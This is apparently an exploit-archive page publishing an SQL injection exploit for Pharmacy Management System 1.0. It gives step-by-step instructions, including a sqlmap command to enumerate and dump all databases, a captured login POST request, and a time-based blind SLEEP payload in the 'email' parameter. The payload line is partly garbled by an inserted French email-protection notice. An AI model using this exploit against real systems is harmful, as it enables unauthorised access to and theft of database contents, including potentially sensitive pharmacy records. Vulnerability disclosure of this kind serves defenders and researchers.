Home[1] Files[2] News[3] Contact[4] Add New[5]
- Pharmacy Management System 1.0 SQL Injection[6]
- Authored by Saud Alenazi[7]
-
Pharmacy Management System version 1.l0 suffers from a remote SQL injection vulnerability.
- MD5 |
6b58fb366ab884c87a5e5f0c3cbe5bcc - Download[8] | Favorite[9] | View[10]
Change Mirror[11] Download[12]
# Exploit Title: Pharmacy management system - 'email' SQL injection
# Date: 19/04/2022
# Exploit Author: Saud Alenazi
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/15281/multi-language-pharmacy-management-system-project-source-code.html
# Version: 1.0
# Tested on: XAMPP, Linux
# Contact: https://twitter.com/dmaral3noz
Step 1. Capture the request of the "http://127.0.0.1/dawapharma/login.php"
page in burpsute
Step 2. Save POST the packet
Step 3. Run sqlmap on request file using command "python3 sqlmap.py -r
request.txt -p email --random-agent --batch --dbms "mysql" --time-sec=5 --no-cast --dbs"
Step 4. This will inject successfully and you will have an information
disclosure of all databases contents
POST the packet
POST /dawapharma/dawapharma/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Connection: close
Cookie: PHPSESSID=d2hvmuiicg9o9jl78hc2mkneel
Upgrade-Insecure-Requests: 1
email=HI%40HI.COM&password=TEST&login=
---
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: email=Cette adresse e-mail est protégée contre les robots spammeurs. Vous devez activer le JavaScript pour la visualiser. ' AND (SELECT 1029 FROM (SELECT(SLEEP(5)))FNdi) AND 'QxLg'='QxLg&password=TEST&login=
---
File Tags
- ActiveX[18] (932)
- Advisory[19] (77,154)
- Arbitrary[20] (15,042)
- BBS[21] (2,859)
- Bypass[22] (1,548)
- CGI[23] (1,010)
- Code Execution[24] (6,619)
- Conference[25] (668)
- Cracker[26] (797)
- CSRF[27] (3,267)
- DoS[28] (21,712)
- Encryption[29] (2,326)
- Exploit[30] (49,614)
- File Inclusion[31] (4,142)
- File Upload[32] (937)
- Firewall[33] (821)
- Info Disclosure[34] (2,542)
- Intrusion Detection[35] (847)
- Java[36] (2,766)
- JavaScript[37] (791)
- Kernel[38] (5,985)
- Local[39] (13,967)
- Magazine[40] (586)
- Overflow[41] (12,118)
- Perl[42] (1,410)
- PHP[43] (5,037)
- Proof of Concept[44] (2,276)
- Protocol[45] (3,280)
- Python[46] (1,384)
- Remote[47] (29,571)
- Root[48] (3,440)
- Ruby[49] (574)
- Scanner[50] (1,629)
- Security Tool[51] (7,662)
- Shell[52] (3,052)
- Shellcode[53] (1,201)
- Sniffer[54] (879)
- Spoof[55] (2,076)
- SQL Injection[56] (15,970)
- TCP[57] (2,349)
- Trojan[58] (669)
- UDP[59] (866)
- Virus[60] (657)
- Vulnerability[61] (30,349)
- Web[62] (8,955)
- Whitepaper[63] (3,709)
- x86[64] (942)
- XSS[65] (17,283)
- Other[66]
File Archives
- April 2022[67]
- March 2022[68]
- February 2022[69]
- January 2022[70]
- December 2021[71]
- November 2021[72]
- October 2021[73]
- September 2021[74]
- August 2021[75]
- July 2021[76]
- June 2021[77]
- May 2021[78]
- Older[79]
Systems
- AIX[80] (424)
- Apple[81] (1,875)
- BSD[82] (368)
- CentOS[83] (55)
- Cisco[84] (1,911)
- Debian[85] (5,947)
- Fedora[86] (1,690)
- FreeBSD[87] (1,241)
- Gentoo[88] (4,152)
- HPUX[89] (876)
- iOS[90] (317)
- iPhone[91] (108)
- IRIX[92] (220)
- Juniper[93] (67)
- Linux[94] (41,848)
- Mac OS X[95] (683)
- Mandriva[96] (3,105)
- NetBSD[97] (255)
- OpenBSD[98] (478)
- RedHat[99] (11,309)
- Slackware[100] (941)
- Solaris[101] (1,605)
- SUSE[102] (1,444)
- Ubuntu[103] (7,725)
- UNIX[104] (9,043)
- UnixWare[105] (183)
- Windows[106] (6,353)
- Other[107]
- Services
- Security Services[118]
- Hosting By
- Rokasec[119]


